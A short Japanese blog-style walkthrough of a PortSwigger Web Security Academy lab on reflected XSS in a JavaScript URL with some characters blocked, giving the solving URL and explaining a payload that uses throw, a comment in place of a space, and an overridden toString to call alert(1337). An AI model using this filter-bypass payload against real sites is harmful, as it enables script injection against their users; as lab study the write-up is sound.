Hello there, ('ω')ノ
一部の文字がブロックされたJavaScriptURLに反映されたXSSを。
このラボでは、入力内容をJavaScript URLに反映していて。
ただ、アプリケーションはXSS攻撃を防ぐために一部の文字をブロックしていると。
ラボを解決するには、アラートメッセージのどこかに含まれている。
文字列1337を使用してアラート関数を呼び出すXSS攻撃を実行せよと。
下記を実行するとクリアできた。
https://ac741fcf1e4eef80807d013000c400a9.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
Back to Blogをクリックすると、alertが呼び出されて。
まずは、このコードをデコードしてみると。
'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'
このエクスプロイトは、入力タイプがないので。
例外処理を使用して、引数を使用してアラート関数を呼び出して。
スペースなしの制限を回避するために、throwステートメントが使用されて。
空白のコメントで区切って。
アラート機能は、onerrorで例外がステートメントとしてスローとして処理されて。
これをWindowsのtoStringプロパティに割り当てて。
throwはステートメントであるため、式として使用することはできなくて。
通常のfunction関数でなく、arrow関数を使用してブロックを作成して。
throwステートメントを使用できるようにする必要があって。
x=x=>
下記だとブロックされるので
,toString=alert(1337),window+'',
下記のようにして、toStringを上書きして。
,toString=x,window+'',
下記は、JavaScriptを壊さないために追加して。
{x:'
Best regards, (^^ゞ